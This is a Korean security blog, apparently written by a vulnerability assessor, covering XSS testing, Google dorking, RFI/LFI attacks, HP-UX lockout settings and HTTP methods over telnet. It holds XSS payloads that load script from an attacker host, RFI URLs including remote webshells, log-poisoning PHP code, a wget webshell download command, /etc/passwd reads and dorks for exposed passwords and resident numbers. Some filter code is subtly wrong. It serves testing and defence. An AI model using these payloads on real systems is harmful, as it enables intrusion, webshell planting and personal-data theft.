2017. 2. 26.

[웹 취약점] XSS 크로스 사이트 스크립팅

1. XSS 취약점 이란

대부분의 웹 해킹 기법은 웹 서버 설정 혹은 프로그램의 취약점을 공격하지만, XSS는 사용자를 공격하는 기법이다. 예를 들어 악성 코드가 포함된 글을 읽는 순간 악성 프로그램이 설치되거나 쿠키 혹은 세션 정보가 공격자에게 전송되어 이를 악용하게 된다.

2. 사용되는 태그 및 형태에 따른 XSS 종류

XSS 공격은 공격 특성상 매우 여러가지 형태로 적용될 수 있다.  


1) <script> 태그 삽입
URL 파라미터 값에 스크립트를 넣는 방식으로 <script>와 </script> 넣는 내용에 따라 다양한 기법을 구사할 수 있다.

(예 1) <a href="http://sample.com/comment.cgi?comment=<SCRIPT>악성코드</SCRIPT>">Click here</A>

(예 2) <a href="http://sample.com/comment.cgi?comment=<SCRIPT SRC ='http://attacker.com/maliciouscode'></SCRIPT>">Click here</A>

"예2는 URL 파라미터에 타 사이트를 연결하여 사용자에게 악성 코드를 설치하도록 유인하고 있다.

** request header 필드에 스크립트를 삽입하여 취약점을 판단할 수 있음

GET /jsp/common/system/debug.jsp HTTP/1.1
Accept: <script>alert('XSS');</script>
Accept-Language : <script>alert('XSS');</script>
UA-CPU: <script>alert('XSS');</script>
Accept-Encoding: <script>alert('XSS');</script>
User-Agent: <script>alert('XSS');</script>
Host: maximo
Connection: keep-Alive
Cookie: <script>alert('XSS');</script>

2) <iframe> 태그 삽입
iframe 태그를 이용하여 악성 코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을 다운로드 시킬 수 있다.
(예 1) <iframe src="http://sameple.com/~bbs/hack.htm" name "Click Here" width= "0" height="0" frameborder="0"> </iframe>

3) <object> 태그 삽입
다음 샘플은 object 태그와 ITS 프로토콜 핸들러에 의한 chm(컴파일된 HTML 도움말) 처리시의 취약점을 이용한 것인데, ITS 란 InfoTech Storage 의 약자이며 HTML 문서에서 다양한 종류의 컴포넌트들을 사용하기 위한 기술이다. 
(예 2) <object width=0 height=0 style=display:none;type=text/xscriplet" Data=mk:@MSITStore:mhtml:c:\nosuchfile.mht!http://sample.com/exploit_chm::exploit.html></object>

4) 웹 브라우저 URL Spoofing(변조)
String.fromCharCode() 함수를 사용하여 URL 정보를 인코딩하는 기법이며, 해당 함수는 일반 문자열을 10진수로 표기하여 관리자의 가독성을 떨어트리기 위한 목적으로 사용된다.
(예 1) <script>alert(String.fromCharCode(116,101,115,116))<script>
10진수 116=t
10진수 101=e
10진수 115=s
10진수 116=t
즉 <script>alert("test") </script> 로서 test 문자열이 포함된 경고창 팝업이 뜰것이다.

5) 악성코드 은닉
다음 샘플은 iframe 태그 삽입 기법과 유사하게 웹 페이지 중간에 악성 코드 링크를 삽입하는 기법이나, 관리자의 감시나 탐지를 우회하기 위해 복잡한 코드를 삽입하는 Obfuscated Code 방법이다. 
예제 생략. for 문 if 문을 활용하여 탐지하기 어렵게 함


3. Stored XSS, Reflected XSS, DOM XSS 의 차이

1) Stored XSS 취약점 (= Persistent XSS)
공격자는 이 공격을 통해서 희생자의 쿠키 정보를 탈취하고 사용자의 권한을 획득한 후 사용자의 단말에 침투하여 악성코드를 배포하는 행위가 대표적이다.



게시판 또는 검색창에 스크립트를 입력한다. 스크립트의 종류는 위에서 서술한 것과 같이 여러가지 형태가 될 수 있다.

<script src=http://공격서버/a.js></script>
<script>alert(0)</script>

** 게시판에서 글 내용 부분 외에 이름, 주소 등 여러가지 입력란이 있을 수 있는데 이 부분도 역시 공격대상이 되므로 간과하면 안된다. 다만 name 과 같은 부분은 최대 글자수 제한이 걸려있는 경우가 있는데 이럴 땐 '개발자 도구'를 이용하여 수정 후 적용하도록 한다. 

2) Reflected XSS 취약점 (= Non-Persistent XSS)
Reflected xss 취약점의 경우 서버에 저장되지 않고 웹 브라우저를 통하여 메시지를 반환한다. 즉, 이러한 웹 브라우저로 반환되는 메시지 값을 악의적인 내용으로 변경하여 보내면 서비스에 악영향을 미칠 수 있다. ( 악성사이트로 접속하여 자동으로 프로그램이 설치되도록 할 수도 있고, COOKIE 값이 악성서버에 기록 할 수도 있다. 시나리오는 만들기 나름이다.)


버프스위트를 이용하여 /dvwa/vulnerabilities/xss_r?name=<script>alert(document.cookie)</script> 와 같이 GET request 값을 변조한다. (Reflected XSS 는 GET 메소드를 이용한다.)

3) DOM XSS 취약점
DOM 객체를 포함하는 자바스크립트 등을 이용하여 DOM(Document Object Model) 데이터 접근 시 검증되지 않은 입력 값이 자바 스크립트를 통해 삽입되어 발생하는 취약점이다.


4. XSS 점검 시나리오 (점검 테스트 부터 점검 확인까지)

1) 검색 창과 같이, 값을 입력할 필드를 찾는다. (ex, 검색필드, 아이디, 패스워드 등)검색 필드에 임의 값 'test value' 를 입력한다.
2) 그 후 소스보기를 통해 입력된 값 (test value) 를 검색한다.
3) 소스안에 <pre>Hello test value </pre> 와 같이 입력된 값이 발견된 것을 알 수 있다.

** XSS 취약점 점검할 때, 사용자에게 보이는 페이지(Request 패킷의 Body 부분)와, 원본 페이지(소스보기 부분)에 겹치는 변수값을 확인 한 후, 해당 변수에 XSS 공격을 시도한다.
- Request 패킷의 Body에서 전달되는 내용
lazy-keywords%5B4%5D=keyword5"><script>alert(document.cookie)</script>
- Request 패킷 전달 후 해당 웹 페이지의 소스에서 'keyword5' 문자열로 검색
value="keyword5"><script>alert(document.cookie)</script> /></td>

4) 이제 입력값 필터링이 수행되는지 확인하기 위해 <script>를 입력하고, 다시 소스보기를 통해 <script> 를 확인한다. 만약 <pre> Hello <script> </pre> 형태로 발견된다면 입력값 필터링을 하지 않고 있는 것이다. 필터링을 이행한다면 <pre> Hello &ltscript&gt </pre>같이 특수문자가 치환되어 있을 것이다.
5) 이전 단계에서 필터링이 이행되지 않는 것을 확인 하였다면, 검색필드에 <script>alert("XSS Test")</script>를 입력한다.  "XSS Test" 알림창(alert)이 뜨는 것을 확인 할 수 있을것이다.


DOM-Based cross-site-scripting 은 검색필드에서 입력된 값이 그대로 화면에 출력 될 때 이용 할 수 있다.

예를 들어,  www.test.com/test?input=defalt 와 같이 입력값을 화면에 출력하는 페이지가 있다.

이와 같은 경우, www.test.com/test?input=<script>alert("DOM Based XSS TEST")</script> 로 바꿔 알림창을 띄울 수 있다. 물론 xss 는 <img src=aa onerror="alert('aa')"> 등과 같이 여러 방법으로 테스트 해 볼 수 있다.

5. XSS 취약점 점검 TIPS


  • 만약 소문자 형태 <script> 만 str_replace 로 필터링 한 경우, <SCRIPT> 로 우회 할 수 있다. 
  • POST 방식의 Request 패킷의 body 부분을 수정함으로써 XSS 를 진행 할 수 도 있다. 사용자가 입력하지 않았더라도 hidden 형태로 전달되는 파라미터 부분뒤에 덧붙여 name=test"><script>alert(3)</script> 라고 입력할 수도 있다. 취약점이 있다면 3이라는 alert 창이 뜨며, 소스 보기를 해서 확인했을때, value="test"><script>alert(3)</script>" 와 같이 필터링되지 않은 스크립트 구문을 확인 할 수 있다.

20170911 tips
  • 게시글에서 XSS 테스트 할때, 제목과 내용에 >"';;/> 라고 입력하고 게시글 생성 해보는 것도 좋은 방법이다 
20170921

  • "<marquee style="width: expression(alert('XSS'));">Foobar</marquee> 
  • <marquee> xss </marquee> 와 같이 marquee 스크립트가 유효한 경우가 은근히 잦다.
20170922
  • 파라미터 : >"'><script>alert(4249)</script>
  • 먹힌 결과 value="1>"></input> <script>alert(4249)</script>
  • 해설 : ' 는 필터링 되서 없어졌고. value 값으로 1> 이 들어가고 > 로 닫히면서 자동으로 </input> 이 생겼고 그다음에 <script>alert(4249)</script>가 들어가면서 스크립트가 먹힌것

6. 보호방법


  • XSS 는 HTML 태그 문자 '<'와 '>'가 입력되어 실행되는 것이 취약점의 주요한 원인이므로 해당 문자열을 다른 문자열로 변환하여 실행되지 않도록 프로그램을 수정해야 한다. (대표적으로 htmlspecialchars 함수가 있다.)
  • HTML 문자 참조(ASCII 문자로 변경하는) 과정을 수행한다. 예를 들어, "<" 는 동일한 의미의 HTML "&lt;" 로 변경하는 것이다. HTML 엔터티는 대부분의 인터프리터(특히, 브라우저)에서 특수한 의미를 가지지 않으며, 단순한 문자로 처리된다.
  • 인코딩 하면 사용자는 <script> 가 <script> 로 보이지만 HTML 문서에는 &lt;script&gt;로 나타나서 브라우저에서 일반 문자로 인식하고 스크립트로서 실행되어 해석되지는 않는다.

** 만약 태그의 사용이 필요한 경우
게시판 같은 곳은 불가피하게 태그를 사용해야 하는 경우는 블랙리스트/화이트리스트 방식을 사용하여 필요한 특정 태그만 사용해야 한다. 블랙리스트의 경우에는 javascript, eval, document, onload, iframe, div, alert, onclick, onkeydown 등 악의적으로 행위할 수 있는 모든 태그를 막아줘야 하기 때문에 비효율적일 수 있다. 여기선 화이트리스트 방식을 사용해 <p> 태그만 사용한다는 가정하에 대응 방안을 세운다.

아래와 같이 < 태그와 > 태그를 모두 치환하며 <p> 태그만 다시 치환함으로써 사용가능하게 한다.

ex)
Is_Content = Replace(Is_Content, "<", "&It;")
Is_Content = Replace(Is_Content, "<", "&gt;")
Is_Content = Replace(Is_Content, "&It;P&gt;", "<p>")

참고
  • http://breakthesecurity.cysecurity.org/2011/10/cross-site-scriptingxss-complete-tutorial-for-beginners-web-application-vulnerability.html
  • http://breakthesecurity.cysecurity.org/2012/05/dom-based-cross-site-scriptingxss-vulnerability-tutorial.html

Continue reading

2017. 2. 23.

[웹 취약점] 구글 해킹 유용한 명령어

구글해킹의 가장 큰 목적은 정보수집이다. 악의적인 사용자가 취약한 불특정 다수의 홈페이지를 탐색할 때 이용 할 수 도 있겠고 필자와 같이 취약점 점검 인력이 점검하려는 사이트의 정보를 수집하려고 할때 이용 할 수도 있다. 구글링을 통해 다양한 정보를 수집하고 이러한 정보를 기반으로 타겟 취약점을 보다 쉽게 공략할 수 있다.

# 명령어 목록

1. intitle:문자열  // 제목에 '문자열'이 포함된 웹 페이지를 찾아서 보여준다. 주로 index of 등과 같이 사용되어 디렉토리 리스팅 취약점을 검색할 때 사용된다.

  • intitle:index of
    • 소스상에서 <title>index of / </title> 으로 되어 있는 페이지를 검색한다.
  • intitle:admin site:kr
    • 타이틀에 admin이 포함된 kr 사이트를 검색한다.
  • intitle / inurl:admin
  • intitle:관리자페이지 site:kr
2. inurl:문자열 // URL에 '문자열' 이 포함된 페이지를 찾는다. 주로 admin.asp 와 같이 관리자 페이지를 찾을 때 사용된다.
  • inurl:admin.asp
    • URL에 'admin.asp' 가 포함된 페이지를 찾는다.
  • inurl:/admin/login.asp
  • inurl:/adm/login.php
3. Filetype:파일타입 // 특정 확장자에 대한 검색, 중요 파일 획득 시 사용
  • Filetype:bak,xls
  • Filetype:xls intext:보안
    • '보안' 이라는 문자를 포함하고 있는 xls 파일 검색
  • Filetype:xls "패스워드"
    • '패스워드' 완전한 문구 포함

4. Site:특정 사이트  // 해당 사이트에 대한 검색
  • Site:test.co.kr
5. intext:문자열 // 본문에 특정 '문자열' 이 포함된 페이지를 찾을 때
  • intext:ID
    • 자신의 아이디 노출 여부를 확인 할 때 사용된다.
  • intext:휴대폰 번호
    • 자신의 휴대폰 번호 노출 여부를 확인 할 때 사용된다.
6. numrange: <최소숫자>-<최대숫자> // 주로 주민등록번호 노출 여부를 할 때 사용한다.
  • numrange:700101-791231 site:abc.go.kr  
    • abc.go.kr 사이트에서 70년대에 출생한 사람들의 주민등록번호 노출 여부를 검사하고자 할 때 사용
    • :(쌍따옴표)뒤에 띄어쓰기 없이 바로 숫자를 입력해야 한다.
7. link:페이지로의 링크를 찾는다.
  • link:i2sec.co.kr
8. info:사이트에 대한 요약 정보를 출력하며 사이트와 관련된 다른 구글 검색으로의 링크를 제공 (파라미터를 포함한 완벽한 URL 이나 HOST NAME을 입력하여야 올바른 결과를 얻을 수 있다.)
  • info:www.i2sec.co.kr
9. related:특정사이트와 관련되어 있다고 판단되는 사이트 검색
  • related:www.i2sec.co.kr
10. " " 완전한 문구 포함
  • "password file" filetype:txt
11. * 모든 단어 검색
  • sport[*]
12. or 
  • filetype:bak inurl:"asp|jsp|php|php3"
13. 검색 결과에서 제외
  • site:kr inurl:edu -intitle:seoul

# 용도에 따른 분류

1) 관리자 로그인 페이지 찾기

- site:kr intitle:관리자페이지
- site:kr inurl:admin.asp, inurl:/admin/login.asp, inurl:/adm/login.php, inurl:/manager/login.asp

2) 자신의 개인정보 노출 여부를 확인
- intext:ID
- intext:hp Number

3) bak, inc, txt, xls, hwp와 같은 주요 파일 찾기
- filetype:inc dbcon
- filetype:hwp intext:나의 장점은

# 해결 방안

:: robots.txt 를 통한인터넷 검색 엔진 배제 표준 적용
** robots.txt 파일 생성은 웹 콘텐츠 최상위 디렉터리(/) 에 위치하도록 한다.

# 참고
  • http://blog.naver.com/siren258/141387599
  • http://qerogram.tistory.com/entry/4-%EA%B5%AC%EA%B8%80%EB%A7%81%EA%B5%AC%EA%B8%80%ED%95%B4%ED%82%B9

Continue reading

[웹 취약점] RFI & LFI 취약점

1. RFI 취약점


RFI (Remote File Inclusion) 취약점을 이용한 공격은 공격자가 악성 스크립트를 서버에 전달하여 해당 페이지를 통하여 악성 코드가 실행되도록 하는 것이다.

예제 1)

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

개발자는 english 와 french 값 만을 전달받고 있으나 부적절한 파라메터를 필터링하고 있지 않고 있다.

예제 2)
[RFI 취약점이 존재하는 페이지]
<?php
$color = 'blue';
if (isset($_GET['COLOR'] ))
$color = $_GET['COLOR'];
include($color . 'php'); 

[HTML 형식의 전달 메시지]

<form action='vulnerable.php' method='get'>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form> 

vulnerable.php 파일에서 red, blue 이외의 값이 전달되어도 검증하는 코드가 존재하지 않아서 RFI 취약점이 발생할 가능성이 있다.

이를 이용하여 다음과 같은 취약점 공격이 가능하다
/vulnerable.php?COLOR=http://test.com/exploit.txt
이 같은 공격으로 처리페이지에 원격지 파일을 포함할 수 있다. 취약점이 존재하는 페이지의 include 함수를 통해 .txt 파일이 최종적으로는 exploit.txt.php 파일로 전달되기 때문에 .php 파일을 실행할 수 있다.

/vulnerable.php?COLOR=C:\ftp\upload\exploit
이전에 올려둔 악성 스크립트 파일을 호출하여 코드를 실행 할 수 있다.

/Null 문자 삽입으로 include 함수의 .php 확장자를 제거하여 다른 파일에 정상접근 할 수 있다.  서버가 리눅스, 유닉스 계열인 경우 Null 문자 삽입으로 /etc/passwd 파일에 접근할 수 있다.
/vulnerable.php?COLOR=/etc/passwd



#취약여부 확인
1) url/test.php?language=../

이는 RFI나 LFI 취약점이 있다고 볼 수 있다.

2) param=1.1.1.1%26ipconfig // 입력 시도


[공격 방법]
1) url/test.php?language=http://test.example.com/webshell.txt?
: 원격지의 파일을 포함 시킬 수 있다.

2) url/test.php?language=C:\ftp\upload\exploit
: 예전에 올려둔 파일을 호출하여 코드를 실행 시킬 수 있다

http://사이트주소/파일명?filename=http://해킹주소/hackcode.php
: 공격자가 파일 변수명을 확인해서 외부 사이트의 파일 주소를 변수로 넘기게 되면 외부사이트의 파일 주소 내용이 실행되게 된다.

3) url/test.php?language=C:\notes.txt
4) url/test.php?language=/etc/passwd
NULL 문자가 있을 시 문자열의 끝으로 판단하여 뒤쪽의 .php 는 탈락

2. LFI 취약점

LFI 는 파일을 포함시킬때, 해당 파일이 공격대상 서버에 위치한다는 점에서 RFI 와 구별된다.


[공격방법]
* Windows 의 경우
취약점페이지를 확인한 후 프록시 툴을 통해 header의 User-Agent 에 "<?php passthru('command'); ?>" 라는 php 코드를 넣어 전송한다.

Get /.../error.log
User-Agent : <?php passthru('command'); ?>
Accept: text/html; */8

url/test.php?language=../Server/apache/logs/error.log

* Unix 계열의 경우
<? system('wget http://test.hacker.test/webshell/test.txt -O test2.php'); ?>" 등의 명령어를 사용하여 원격으로 Webshell을 업로드 하는 공격이 가능하다. (test.txt 파일을 다운받아 test2.php로 저장)

3. 보안 대책


"../"과 같은 문자가 전달되었을 경우 다른 문자로 바꿔준다.

1) 문자필터링 php

str_replace(".","", $path);
str_replace("/", "", $filename);

2) 원격지 파일을 열지 못하도록 php 환경설정 파일 수정 (php.ini 수정)
allow_url_fopen = OFF
allow_url_include = OFF

(allow_url_fopen = On 은 URL 값을 파일처럼 사용하겠다는 의미이다. 그래서 원격지(read.php?Param=http://malicious.txt/attack.txt)의 파일을 실행할 수 있는것이다.

3) include 관련 에러 출력 안함 (php.ini)
display_errors = OFF

풀어서 다시 이야기하자면, 원격지의 파일의 실행(RFI 취약점)을 막기위해서는 allow_url_include = OFF 로 설정하면 된다. 그러나 이미 파일 업로드를 통해 내부 웹서버에 업로드된 파일을 실행 (LRI 취약점) 하는 것은 막지 못한다. 이를 위해서 include 함수를 사용 할 때 파일의 경로와 이름을 검증하는 구문을 반드시 적용하여야 한다.

$valid_filename = check_validation ( $_POST['filename']); // 파일 위치 검증함수 check_validation 사용

function check_validation($filename){
if (file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}else{
echo "접근경로가 올바르지 않습니다.";
exit;
}


** file_exists(file) 함수
- 인수로 부여된 파일이 실제로 존재하지는지 아닌지 확인하는 함수
- 파일이 있으면 true, 파일이 없으면 false 를 반환한다.


include( ) 함수의 악용

ex) include ($Param);

주로 include( ) 함수는 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 그러나 해당 함수와 설정 오류로 인해 원격지 파일을 로컬 파일처럼 호출할 수 있다.


include () 함수 사용 샘플
'header.php' 라는 표준 헤더 파일이 있다고 가정해보자. 페이지에 이 헤더 파일을 포함시키기 위해서 아래처럼 include () 함수를 사용하면 된다.

<html>
<body>
<?php include("header.php"); ?>
<h1> Welcome <h1>
<p> Some text </p>
</body>
</html>


<참고>

  • http://blog.naver.com/siren258/145489344
  • https://en.wikipedia.org/wiki/File_inclusion_vulnerability




Continue reading

2017. 2. 22.

2017. 2. 12.

[UNIX 서버] 1.3 - 계정 잠금 임계값 설정

가이드와 상이한 점 : 가이드에서는 HP-UX 경우, /tcb/files/auth/system/default 파일에서 u_maxtries#5 로 설정하라고 되어 있다.

그러나,
실제 경로는 /usr/newconfig/tcb/files/auth/system/default 이다.

게다가 기억해야 할 것은, HP-UX 서버에 계정 잠금 정책 설정을 위해서는 서버가 trusted mode로 동작하고 있어야 한다.

trusted mode 여부를 확인하는 방법은 다음과 같다.

/usr/lbin 디렉토리로 이동 -> #./getprdef -r -> (trust 모드가 아니라면) System is not trusted 으로 출력됨

그러면 trusted mode로 적용하면 어떤 장점이 있는가?
해당 모드를 적용하면 다음과 같은 system security policies 가 적용된다.

  • passwd format/aging, general user account, terminal security security event, system call, user 에 대한 audit

Continue reading

2017. 2. 4.

[웹 취약점] HTTP 메소드 -2 (Telnet 을 이용하여 사용 가능 Method 확인 방법)

보통 Telnet 은 telnet port를 이용해 telnet을 사용하기 위해 이용되지만, 해당 ip 의 port 가 열려있는지, 특정 method가 허용되어 있는지, 어떤 was를 사용하고 버전은 무엇인지를 확인 할 수 있다.

본 블로그에서는 telnet을 통해 method 를 사용한 취약점 점검 방법에 대해 알아 볼 계획이다.

1. GET
- 요청한 데이터에 대한 파라미터를 URL에 포함하여 웹서버에 요청
- 보낼 수 있는 최대 바이트 수가 제한

>telnet aaa.com 80

GET /HTTP/1.1
Host: aaa.com

2. POST
- 요청한 데이터에 대한 파라미터를 body에 포함하여 웹 서버에 요청
- 보낼 수 있는 최대 바이트는 무제한

> telnet aaa.com 80
POST /HTTP/1.1
Host 192.168.37.203

************* GET vs POST *****************
- GET 요청 방식은 요청 URL가 가진 정보를 검색하기 위해 서버측에서 요청하는 형태이다. - 반면, POST는 요청 URL에 폼 입력을 처리하기 위해 구성한 서버 측 스크립트(ASP, PHP, JSP 등) 혹은 CGI 프로그램으로 구성되고 Form Action과 함께 전송되는데, 이때 헤더 정보에 포함되지 않고 데이터 부분에 요청 정보가 포함된다.


3. HEAD
- 웹 서버에서 헤더 정보 이외에는 어떤 데이터도 보내지 않는다. 사용 목적은 웹 서버의 다운 유무 점검 및 웹 서버 정보(버전 등)을 얻으려고 사용될 수 있다.

--------------------------------------
> telnet aaa.com 80
HEAD / HTTP/1.1
Host: 192.168.37.203

HTTP/1.1 200 OK
Date: Mon, 24 Aug 2009 05:59:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2642
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSSQAASCQ=CIODBCBBNPIIGGKGJBPCFGNH; path=/
Cache-control: private
---------------------------------------

4. OPTIONS
- 해당 메소드를 통해 시스템에서 지원되는 메소드 종류를 확인 할 수 있다.

-------------------------
> telnet aaa.com 80 // 80번 포트로  telnet 접속

OPTIONS / HTTP/1.1    // [엔터 두번]

Host: aaa.com

HTTP/1.1 200 OK
Date: Mon, 24 Aug 2009 06:00:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL:
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
---------------------------


5. PUT

- POST 와 마찬가지로 헤더 및 몸체를 포함하며 몸체에 콘텐츠 내용을 덧붙여 원격지서버에 지정한 콘텐츠를 저장하기 위한 목적으로 사용된다. 그러나 이를 악용하여 홈페이지 변조에 사용한다.

6. DELETE

- 웹서버에 특정 파일 삭제가 가능

----------------------------
PUT /upload/lalala.txt HTTP/1.1
Host: 192.168.37.203
Content-Length: 16

lalala

HTTP/1.1 201 Created
Date: Mon, 24 Aug 2009 06:06:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://aaa.com/upload/lalala.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

확인 : 윈도우 2003에서 다음 경로 확인 C:\Inetpub\wwwroot\demo\upload
-------------------------------

7. TRACE
- 원격지 서버에 Loopback 메시지를 호출하기 위해 사용된다.
-----------------------------
DELETE /upload/lalala.txt HTTP/1.1
Host: aaa.com
Content-Length: 8

HTTP/1.1 200 OK
Date: Mon, 24 Aug 2009 06:08:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0


확인 : 윈도우 2003에서 다음 경로 확인 C:\Inetpub\wwwroot\demo\upload
-----------------------------


참고 사이트

  • http://www.nicegass.co.kr/2011/05/telnet-80-get-post-head.html
  • http://skynarciss.tistory.com/25

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.